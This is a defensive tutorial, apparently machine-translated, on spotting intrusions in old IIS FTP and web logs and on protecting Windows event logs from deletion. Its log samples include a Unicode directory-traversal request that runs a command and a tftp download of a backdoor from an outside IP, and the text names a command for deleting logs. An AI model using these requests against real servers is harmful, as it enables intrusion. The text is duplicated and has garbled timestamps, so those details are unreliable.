1. FTP log analysis
FTP logs and WWW logs By default, a log file is generated every day, containing all records of that day. The file name is usually ex (year) (month) (date). For example, ex040419 is a log generated on April 19, 2004. It can be opened directly with notepad. Ordinary logs with intrusion are generally like this:
#Software: Microsoft Internet Information Services 5.0 (Microsoft IIS5.0)
#Version: 1.0 (version 1.0)
#Date: 20040419 0315 (Service start time and date)
#Fields: time cip csmethod csuristem scstatus
0315 127.0.0.1 [1]USER administrator 331 (IP address is 127.0.0.1 Username is administrator trying to log in)
0318 127.0.0.1 [1]PASS – 530 (Login failed)
032:04 127.0.0.1 [1]USER nt 331 (The user with IP address 127.0.0.1 User with username nt attempted to log in)
032:06 127.0.0.1 [1]PASS – 530 (Login failed)
032:09 127.0.0.1 [1]USER cyz 331 (a user with IP address 127.0.0.1 user with username cyz attempted to log in)
0322 127.0.0.1 [1]PASS – 530 (Login failed)
0322 127.0.0.1 [1]USER administrator 331 (IP address is 127.0.0.1 Username is administrator trying to log in)
0324 127.0.0.1 [1]PASS – 230 (Login successfully)
0321 127.0.0.1 [1]MKD nt 550 (New directory failed)
0325 127.0.0.1 [1]QUIT – 550 (Exit the FTP program)
From the log, you can see that the user with an IP address of 127.0.0.1 has been trying to log in to the system. After changing the username and password four times, it was successful. The administrator can immediately know that the IP has at least an intrusion attempt! His intrusion time, IP address and username detected are clearly recorded on the log. As in the above example, the intruder ended up entering with the Administrator username, so we must consider whether this username has a password stolen? Or is it used by others? Next, we need to think about what is wrong with the system.
2. WWW Log Analysis
Like the FTP service, the logs generated are also in the %systemroot%\sys tem32\LogFiles\W3SVC1 directory, and the default is one log file per day. It is necessary to make a special note here, because the web logs are different from other logs, their analysis is much more detailed, and the administrator needs to have rich intrusion and protection knowledge and be careful enough. Otherwise, it is easy to miss that kind of simple log, and such logs are usually very critical. Since we cannot analyze it one by one, here is a simple example:
#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 20040419 03:091
#Fields: date time cip csusername sip sport csmethod csuristem csuriquery scstatus cs(UserAgent)
20040419 03:091 192.168.1.26 192.168.1.37 80 GET / 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
20040419 03:094 192.168.1.26 192.168.1.37 80 GET / 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
By analyzing the sixth line, we can see that on May 19, 2004, a user with an IP address of 192.168.1.26 viewed a page by accessing port 80 of the machine with an IP address of 192.168.1.37. The user's browser is compatible; +MSIE+5.0; +Windows+98+DigExt. Experienced administrators can determine the IP address and intrusion time through security logs, FTP logs and WWW logs.
For the very common SQL injection attacks nowadays, by checking put and get, you can also roughly determine which page has a problem, so that you can fix it.
3. Analysis of HTTPD transaction log
Since the release of Microsoft's IIS 5, there have been countless vulnerabilities exploited by hackers, such as .ida/.idq, unicode, WebDavx3 and some unknown vulnerabilities. The purpose of our analysis of logs is to analyze hacker intrusion. The log records of systems that have not been properly patched are corresponding to the following. In order to introduce you to a more eye-catching introduction, a "old" server was specially configured to use old vulnerabilities to give you a demonstration. It is easy to understand other things by looking at them.
(1) Unicode vulnerability intrusion logging
This is a very classic vulnerability. If you want to find such a server, you probably have to search abroad slowly. However, because its log is the most classic, we will use it as a demonstration here.
We open the log file of the IIS5 web service. The default location of the log file is in the %systemroot%\system32\LogFiles\ folder. As shown in Figure 1, it is a log record of a typical Unicode vulnerability intrusion behavior. For normal web access, it uses the GET command to obtain web data through port 80, but illegal character encoding can bypass character verification and obtain undeserved information. However, adding the corresponding patch can plug this vulnerability. As shown in Figure 1.
Let’s cooperate with the intrusion to see the record: Through the following encoding, we can view the directory file of the target machine during intrusion:
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/ /c+dir 200
Then this access behavior will be recorded in the log:
2004-04-19 08:47:47 192.168.0.1 - 192.168.0.218 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/
/c+dir 200 -
Have you seen it? Our logs are clearly recorded, and attackers from 192.168.0.1 view our directory. The following line is the logging of the backdoor program to our machine:
2004-04-19 08:47:47 192.168.0.1 - 192.168.0.218 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/
/c+tftp%20-i%2061.48.10.129%20GET%%20c:\
502 –
Have you seen it? The records are very detailed, and the program in the system has been recorded in response, so that it will be easier for us to analyze the intrusion behavior.
(2) WebDavx3 remote overflow logging
The famous Wevdavx3 vulnerability in the past period is the most widely used. If the system suffers from this remote overflow attack, the logging is shown in Figure 2.
2004-04-19 07:20:13 192.168.0.218 - 192.168.0.218 80 LOCK
/AAAAA……
This means that our web service was attacked from 192.168.0.218 and locked (i.e. shut down) the WEB service. Some of the garbled characters behind are offset guessing processes used during overflow attacks.
The above several daily messaging records the IP addresses that have intruded behavior, but this IP address may be the springboard used by the attacker, which means that this IP is likely to be a "breaster" rather than the attacker's IP. In this case, if we check other log files, it is still possible to track down the attacker's location, but this depends entirely on the administrator's experience.
4. Shift protection of log files
Through the above methods, you should be able to detect ordinary system attacks, but then again, if any of the above attacks succeed, we will not see the log now and have been cleared by the intruders. Therefore, in order to prevent problems before they happen, we should move the logs to the common methods of deleting logs.
Many articles introduce that event log shift can provide good protection for the system system. Although shifting is a protection method, as long as you enter dir c:\*.evt/s on the command line, you can find the location of the event log in one go. It is easy to delete it. So what should you do? In fact, log shifting must be completed by modifying the registry. Find the Application, Security, and System subkeys under the registry HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\ Services\Eventlog, which correspond to "application log", "security log" and "system log" respectively. How to modify it? Let's take a look at the Application subkey: the File item is the location where the "Application Log" file is stored. Change this key value to the folder where the log file is to be stored. We will copy the %systemroot%\system32\config\ file to this folder and restart the machine.
The purpose of introducing shift here is to make full use of the "Security" attribute of Windows 2000 in NTFS format. If you do not shift, you cannot perform security settings on the file. Right-click the "Folder Select Properties" after shifting, enter the "Security" tab, do not select "Allow inheritable permissions from the parent to propagate to this object", add the "System" group, give the Everyone group "read" permissions respectively, and select the permissions except "full control" and "modify". Then change the default log file 512KB size of the system to the size you want, such as 20MB. After performing the above settings, it is impossible to delete directly through Del C:\*.Evt/s/q, and it is relatively safer.
FTP logs and WWW logs By default, a log file is generated every day, containing all records of that day. The file name is usually ex (year) (month) (date). For example, ex040419 is a log generated on April 19, 2004. It can be opened directly with notepad. Ordinary logs with intrusion are generally like this:
#Software: Microsoft Internet Information Services 5.0 (Microsoft IIS5.0)
#Version: 1.0 (version 1.0)
#Date: 20040419 0315 (Service start time and date)
#Fields: time cip csmethod csuristem scstatus
0315 127.0.0.1 [1]USER administrator 331 (IP address is 127.0.0.1 Username is administrator trying to log in)
0318 127.0.0.1 [1]PASS – 530 (Login failed)
032:04 127.0.0.1 [1]USER nt 331 (The user with IP address 127.0.0.1 User with username nt attempted to log in)
032:06 127.0.0.1 [1]PASS – 530 (Login failed)
032:09 127.0.0.1 [1]USER cyz 331 (a user with IP address 127.0.0.1 user with username cyz attempted to log in)
0322 127.0.0.1 [1]PASS – 530 (Login failed)
0322 127.0.0.1 [1]USER administrator 331 (IP address is 127.0.0.1 Username is administrator trying to log in)
0324 127.0.0.1 [1]PASS – 230 (Login successfully)
0321 127.0.0.1 [1]MKD nt 550 (New directory failed)
0325 127.0.0.1 [1]QUIT – 550 (Exit the FTP program)
From the log, you can see that the user with an IP address of 127.0.0.1 has been trying to log in to the system. After changing the username and password four times, it was successful. The administrator can immediately know that the IP has at least an intrusion attempt! His intrusion time, IP address and username detected are clearly recorded on the log. As in the above example, the intruder ended up entering with the Administrator username, so we must consider whether this username has a password stolen? Or is it used by others? Next, we need to think about what is wrong with the system.
2. WWW Log Analysis
Like the FTP service, the logs generated are also in the %systemroot%\sys tem32\LogFiles\W3SVC1 directory, and the default is one log file per day. It is necessary to make a special note here, because the web logs are different from other logs, their analysis is much more detailed, and the administrator needs to have rich intrusion and protection knowledge and be careful enough. Otherwise, it is easy to miss that kind of simple log, and such logs are usually very critical. Since we cannot analyze it one by one, here is a simple example:
#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 20040419 03:091
#Fields: date time cip csusername sip sport csmethod csuristem csuriquery scstatus cs(UserAgent)
20040419 03:091 192.168.1.26 192.168.1.37 80 GET / 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
20040419 03:094 192.168.1.26 192.168.1.37 80 GET / 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
By analyzing the sixth line, we can see that on May 19, 2004, a user with an IP address of 192.168.1.26 viewed a page by accessing port 80 of the machine with an IP address of 192.168.1.37. The user's browser is compatible; +MSIE+5.0; +Windows+98+DigExt. Experienced administrators can determine the IP address and intrusion time through security logs, FTP logs and WWW logs.
For the very common SQL injection attacks nowadays, by checking put and get, you can also roughly determine which page has a problem, so that you can fix it.
3. Analysis of HTTPD transaction log
Since the release of Microsoft's IIS 5, there have been countless vulnerabilities exploited by hackers, such as .ida/.idq, unicode, WebDavx3 and some unknown vulnerabilities. The purpose of our analysis of logs is to analyze hacker intrusion. The log records of systems that have not been properly patched are corresponding to the following. In order to introduce you to a more eye-catching introduction, a "old" server was specially configured to use old vulnerabilities to give you a demonstration. It is easy to understand other things by looking at them.
(1) Unicode vulnerability intrusion logging
This is a very classic vulnerability. If you want to find such a server, you probably have to search abroad slowly. However, because its log is the most classic, we will use it as a demonstration here.
We open the log file of the IIS5 web service. The default location of the log file is in the %systemroot%\system32\LogFiles\ folder. As shown in Figure 1, it is a log record of a typical Unicode vulnerability intrusion behavior. For normal web access, it uses the GET command to obtain web data through port 80, but illegal character encoding can bypass character verification and obtain undeserved information. However, adding the corresponding patch can plug this vulnerability. As shown in Figure 1.
Let’s cooperate with the intrusion to see the record: Through the following encoding, we can view the directory file of the target machine during intrusion:
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/ /c+dir 200
Then this access behavior will be recorded in the log:
2004-04-19 08:47:47 192.168.0.1 - 192.168.0.218 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/
/c+dir 200 -
Have you seen it? Our logs are clearly recorded, and attackers from 192.168.0.1 view our directory. The following line is the logging of the backdoor program to our machine:
2004-04-19 08:47:47 192.168.0.1 - 192.168.0.218 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/
/c+tftp%20-i%2061.48.10.129%20GET%%20c:\
502 –
Have you seen it? The records are very detailed, and the program in the system has been recorded in response, so that it will be easier for us to analyze the intrusion behavior.
(2) WebDavx3 remote overflow logging
The famous Wevdavx3 vulnerability in the past period is the most widely used. If the system suffers from this remote overflow attack, the logging is shown in Figure 2.
2004-04-19 07:20:13 192.168.0.218 - 192.168.0.218 80 LOCK
/AAAAA……
This means that our web service was attacked from 192.168.0.218 and locked (i.e. shut down) the WEB service. Some of the garbled characters behind are offset guessing processes used during overflow attacks.
The above several daily messaging records the IP addresses that have intruded behavior, but this IP address may be the springboard used by the attacker, which means that this IP is likely to be a "breaster" rather than the attacker's IP. In this case, if we check other log files, it is still possible to track down the attacker's location, but this depends entirely on the administrator's experience.
4. Shift protection of log files
Through the above methods, you should be able to detect ordinary system attacks, but then again, if any of the above attacks succeed, we will not see the log now and have been cleared by the intruders. Therefore, in order to prevent problems before they happen, we should move the logs to the common methods of deleting logs.
Many articles introduce that event log shift can provide good protection for the system system. Although shifting is a protection method, as long as you enter dir c:\*.evt/s on the command line, you can find the location of the event log in one go. It is easy to delete it. So what should you do? In fact, log shifting must be completed by modifying the registry. Find the Application, Security, and System subkeys under the registry HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\ Services\Eventlog, which correspond to "application log", "security log" and "system log" respectively. How to modify it? Let's take a look at the Application subkey: the File item is the location where the "Application Log" file is stored. Change this key value to the folder where the log file is to be stored. We will copy the %systemroot%\system32\config\ file to this folder and restart the machine.
The purpose of introducing shift here is to make full use of the "Security" attribute of Windows 2000 in NTFS format. If you do not shift, you cannot perform security settings on the file. Right-click the "Folder Select Properties" after shifting, enter the "Security" tab, do not select "Allow inheritable permissions from the parent to propagate to this object", add the "System" group, give the Everyone group "read" permissions respectively, and select the permissions except "full control" and "modify". Then change the default log file 512KB size of the system to the size you want, such as 20MB. After performing the above settings, it is impossible to delete directly through Del C:\*.Evt/s/q, and it is relatively safer.